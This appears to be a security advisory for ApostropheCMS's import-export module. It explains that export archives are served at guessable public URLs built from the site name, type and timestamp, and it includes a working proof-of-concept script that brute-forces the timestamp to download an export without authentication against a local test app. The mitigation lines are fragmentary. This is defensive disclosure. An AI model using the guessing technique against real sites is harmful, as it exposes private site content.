When a user exports content through @apostrophecms/import-export, the module copies the generated archive into uploadfs at /exports/ and returns a public URL under /uploads/exports/. The filename is fully deterministic: site shortName, document type, a YYYYMMDDHHmmss timestamp, and the format extension. There is no secret token.
Anyone who can guess that path can download the archive with a normal unauthenticated HTTP GET while the file is still present (10 minutes by default, longer if the site raises importExport.export.expiration). That is a different model from attachment URLs, which rely on hard-to-guess IDs.
Sites that disable export, store uploads on a private backend with no anonymous read, or serve /uploads only behind authentication are not hit by the network download step—but the predictable naming is still a design flaw for the default local/public uploadfs layout.
Import-only workflows and imports themselves are out of scope; this is specific to the export download URL.
All of the following must apply:
@apostrophecms/import-export module is enabled and export is allowed for at least one page or piece type, andcopyIn to /exports/… and delivery via the public uploads URL (default local uploadfs or any deployment that exposes the same path without per-file auth).If export is turned off per type or globally, or /uploads is not world-readable, an anonymous attacker cannot pull the file over HTTP—but a co-resident attacker with filesystem or bucket listing access would still see guessable names.
apos.util.generateId()), orimportExport.export.expiration must stay short and treat /uploads/exports/ as sensitive (weak on its own).exportFile() in packages/import-export/lib/methods/export.js builds the name and publishes it:
const date = dayjs().format('YYYYMMDDHHmmss');
const filename = `${self.apos.shortName}-${req.body.type.toLowerCase()}-export-${date}${format.extension}`;
const downloadPath = path.join('/exports', filename);
await copyIn(filepath, downloadPath);
The admin UI sends type as the module name (e.g. article), which matches the filename. The download URL is only shown in the exporter’s notification; nothing binds the HTTP request to that user afterward. After expiration (default 1000 * 60 * 10 ms) a timer deletes the object from uploadfs, which limits exposure but leaves a brute-forceable window.
The script boots a minimal Apostrophe app with import-export, performs an export as the task user, then downloads the same archive without a session—first by path guessing, then with raw fetch. It exits non-zero on failure.
Requirements: Node 18+, pnpm install at the monorepo root (so apostrophe and @apostrophecms/import-export resolve). Set APOSTROPHE_ROOT to the checkout path.
#!/usr/bin/env bash
set -euo pipefail
# --- config ---
APOSTROPHE_ROOT="${APOSTROPHE_ROOT:-}"
if [[ -z "${APOSTROPHE_ROOT}" || ! -f "${APOSTROPHE_ROOT}/packages/import-export/package.json" ]]; then
echo "Set APOSTROPHE_ROOT to your apostrophe monorepo checkout." >&2
exit 1
fi
export APOS_TEST_DB_PROTOCOL=sqlite
cd "${APOSTROPHE_ROOT}/packages/import-export"
# --- run embedded PoC (no extra repo files) ---
node <<'NODE'
const assert = require('node:assert/strict');
const path = require('node:path');
const dayjs = require('dayjs');
const t = require('apostrophe/test-lib/util.js');
(async () => {
let apos;
const shortName = 'poc-export-site';
const exportsPath = (root) => path.join(root, 'public/uploads/exports');
try {
apos = await t.create({
root: module,
testModule: true,
shortName,
modules: {
'@apostrophecms/express': {
options: { session: { secret: 'poc-export-secret' } }
},
'@apostrophecms/import-export': {
options: {
importExport: { export: { expiration: 60 * 1000 } }
}
},
'@apostrophecms/uploadfs': { options: { storage: 'local' } },
'home-page': { extend: '@apostrophecms/page-type' },
article: {
extend: '@apostrophecms/piece-type',
options: { alias: 'article', autopublish: true }
}
}
});
const importExport = apos.modules['@apostrophecms/import-export'];
const req = apos.task.getReq();
await apos.article.insert(req, {
...apos.article.newInstance(),
title: 'GHSA PoC confidential piece'
});
const articles = await apos.article.find(req).toArray();
assert.ok(articles.length > 0);
const exportStartedAt = dayjs();
req.body = {
_ids: articles.map((d) => d._id),
formatName: 'gzip',
type: 'article'
};
const { url: downloadUrl } = await importExport.export(req, apos.article);
const fileName = path.basename(downloadUrl);
const prefix = `${shortName}-article-export-`;
assert.ok(fileName.startsWith(prefix) && fileName.endsWith('.tar.gz'));
const timestamp = fileName.slice(prefix.length, -'.tar.gz'.length);
const onDisk = path.join(exportsPath(apos.rootDir), fileName);
assert.ok(require('node:fs').existsSync(onDisk));
const anon = await apos.http.get(downloadUrl, { fullResponse: true });
assert.equal(anon.status, 200);
assert.ok(Number(anon.headers['content-length'] || 0) > 0 || anon.body?.length > 0);
let bruteForced = null;
const center = exportStartedAt.startOf('second');
for (let offset = -3; offset <= 3; offset++) {
const ts = center.add(offset, 'second').format('YYYYMMDDHHmmss');
const candidate = `/uploads/exports/${shortName}-article-export-${ts}.tar.gz`;
try {
const probe = await apos.http.get(candidate, { fullResponse: true });
if (probe.status === 200) {
bruteForced = candidate;
break;
}
} catch (e) {
if (e.status !== 404) throw e;
}
}
assert.ok(bruteForced, 'brute force within ±3s failed');
const express = apos.modules['@apostrophecms/express'];
const base = `http://${express.address}:${express.port}`;
const ext = await fetch(`${base}${bruteForced}`);
assert.equal(ext.status, 200);
const bytes = await ext.arrayBuffer();
assert.ok(bytes.byteLength > 100);
console.log('OK: unauthenticated download', {
fileName,
bruteForced,
bytes: bytes.byteLength,
listenUrl: base
});
} finally {
if (apos) {
await t.destroy(apos);
}
}
})().catch((err) => {
console.error(err);
process.exit(1);
});
NODE
Expected output: a line similar to
OK: unauthenticated download { fileName: 'poc-export-site-article-export-….tar.gz', …, bytes: <number>, listenUrl: 'http://127.0.0.1:…' }
{
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T19:45:03Z",
"nvd_published_at": "2026-10-20T16:17:06Z",
"severity": "MODERATE"
}